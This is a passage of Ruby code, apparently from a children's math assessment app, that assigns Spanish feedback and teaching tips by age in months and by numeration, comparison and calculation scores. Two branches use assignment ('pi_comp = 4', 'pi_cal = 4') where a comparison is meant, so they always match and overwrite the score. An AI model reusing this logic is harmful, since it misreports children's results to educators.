encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\nelsif @test.edad.between?(66, 71) && @test.pi_num < 10 then\n @f = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\n# 72 a 77 \n\nelsif @test.edad.between?(72, 77) && @test.pi_num > 16 then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\n\"\n\nelsif @test.edad.between?(72, 77) && @test.pi_num.between?(13, 16) then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\nelsif @test.edad.between?(72, 77) && @test.pi_num < 13 then\n @f = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n \n\n * Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. \n \n * Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n \n * Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n \n * Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\n\n# 78 a 83\n\nelsif @test.edad.between?(78, 83) && @test.pi_num > 17 then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\n\"\n\nelsif @test.edad.between?(78, 83) && @test.pi_num.between?(15, 17) then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9 o más, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\nelsif @test.edad.between?(78, 83) && @test.pi_num < 15 then\n @f = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n \n\n * Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. \n \n * Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n \n * Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n \n * Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\n\n# 84 a 95\n\nelsif @test.edad.between?(84, 95) && @test.pi_num > 18 then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Practicar secuencias de conteo con un patrón establecido, de 4 en 4, de 6 en 6, etc.\n\"\n\nelsif @test.edad.between?(84, 95) && @test.pi_num.between?(16, 18) then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Practicar secuencias de conteo con un patrón establecido, de 4 en 4, de 6 en 6, etc.\n\"\n\nelsif @test.edad.between?(84, 95) && @test.pi_num < 16 then\n @f = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\n\"\n\n\n\n# 96 a 101\n\nelsif @test.edad.between?(96, 101) && @test.pi_num > 19 then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Practicar secuencias de conteo con un patrón establecido, de 4 en 4, de 6 en 6, etc.\n\"\n\nelsif @test.edad.between?(96, 101) && @test.pi_num < 20 then\n @f = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Después de conocer las reglas de los números hasta el 99, la tarea principal de los estudiantes es aprender que el número siguiente es 100, y que se vuelven a aplicar el mismo tipo de reglas para producir los números superiores a 100. La regla básica es empezar con la etiqueta de las centenas (en este caso “ciento”), después se sigue con la etiqueta de las decenas (“veinte”, “treinta”, etc.) y se le añaden las unidades (uno, dos…). \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\n\"\nend\n\n# Comparación de cantidades\n\n# 60 a 71\n\nif @test.edad.between?(60, 71) && @test.pi_comp > 3 then\n @g= \"El/la estudiante ha adquirido las habilidades de comparación de cantidades por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. \n\"\n\nelsif @test.edad.between?(60, 71) && @test.pi_comp.between?(2, 3) then\n @g = \"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. \n\"\n\nelsif @test.edad.between?(60, 71) && @test.pi_comp < 2 then\n @g = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.\n\"\n\n\n# 72 a 77 \n\nelsif @test.edad.between?(72, 77) && @test.pi_comp > 4 then\n @g= \"El/la estudiante ha adquirido las habilidades de comparación de cantidades por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. Una vez que el niño se haya familiarizado con esto, debería pasar a trabajar con números del 1 al 100. \n\"\n\nelsif @test.edad.between?(72, 77) && @test.pi_comp = 4 then\n @g = \"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. Una vez que el niño se haya familiarizado con esto, debería pasar a trabajar con números del 1 al 100. \n\"\n\nelsif @test.edad.between?(72, 77) && @test.pi_comp < 4 then\n @g = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental.\n\"\n\n\n# 78 a83\n\nelsif @test.edad.between?(78, 83) && @test.pi_comp > 3 then\n @g= \"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. Una vez que el niño se haya familiarizado con esto, debería pasar a trabajar con números del 1 al 100. \n\"\n\nelsif @test.edad.between?(78, 83) && @test.pi_comp < 4 then\n @g = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental.\n\"\n\n\n# 84 a 95\n\nelsif @test.edad.between?(84, 95) && @test.pi_comp > 3 then\n @g= \"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. El siguiente paso supone considerar el conjunto global de números entre el 1 y el 100. Para esto se puede utilizar un metro. El niño tiene que llegar a valorar las distancias relativas entre varias posiciones en el metro. \n\"\n\nelsif @test.edad.between?(84, 95) && @test.pi_comp < 4 then\n @g = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\n\n* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. \n\"\n\n\n# 96 a 101\n\nelsif @test.edad.between?(96, 101) && @test.pi_comp > 4 then\n @g= \"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. El siguiente paso supone considerar el conjunto global de números entre el 1 y el 100. Para esto se puede utilizar un metro. El niño tiene que llegar a valorar las distancias relativas entre varias posiciones en el metro. \n\"\n\n\nelsif @test.edad.between?(96, 101) && @test.pi_comp < 5 then\n @g = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\n\n* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. \n\"\n \nend\n\n\n\n\n# Cálculo Informal \n\n# 60 a 65\n\nif @test.edad.between?(60, 65) && @test.pi_cal > 3 then\n @h= \"El/la estudiante ha adquirido las habilidades de cálculo informal por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez dominado esto, hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente.\n\"\n\nelsif @test.edad.between?(60, 65) && @test.pi_cal.between?(2, 3) then\n @h = \"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \n\n* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente. \n\"\n\nelsif @test.edad.between?(60, 65) && @test.pi_cal < 2 then\n @h = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Hacer que el niño cuente todos los objetos reales para sumar o restar. Por ejemplo, se le puede mostrar una colección de 3 carros y otra colección de 4 carros, y pedirle que las sume contando los carros para averiguar cuántos hay en total. También se le puede mostrar los 4 carros de una colección y pedirle que quite 1, y que después cuente para averiguar cuántos quedan. Poco a poco, y a medida que el niño vaya logrando algunos éxitos, se puede empezar a esconder uno de los conjuntos, y pedirle que haga la suma o la resta sin mirar ese conjunto.\n\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \n\"\n\n\n# 66 a 71\n\nelsif @test.edad.between?(66, 71) && @test.pi_cal > 4 then\n @h= \"El/la estudiante ha adquirido las habilidades de cálculo informal por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez dominado esto, hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente.\n\"\n\nelsif @test.edad.between?(66, 71) && @test.pi_cal.between?(3, 4) then\n @h = \"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \n\n* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente. \n\"\n\nelsif @test.edad.between?(66, 71) && @test.pi_cal < 3 then\n @h = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Hacer que el niño cuente todos los objetos reales para sumar o restar. Por ejemplo, se le puede mostrar una colección de 3 carros y otra colección de 4 carros, y pedirle que las sume contando los carros para averiguar cuántos hay en total. También se le puede mostrar los 4 carros de una colección y pedirle que quite 1, y que después cuente para averiguar cuántos quedan. Poco a poco, y a medida que el niño vaya logrando algunos éxitos, se puede empezar a esconder uno de los conjuntos, y pedirle que haga la suma o la resta sin mirar ese conjunto.\n\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \n\"\n\n\n# 72 a 77 \n\nelsif @test.edad.between?(72, 77) && @test.pi_cal > 4 then\n @h= \"El/la estudiante ha adquirido las habilidades de cálculo informal por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea de suma con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.\n\"\n\nelsif @test.edad.between?(72, 77) && @test.pi_cal = 4 then\n @h = \"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea de suma con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para 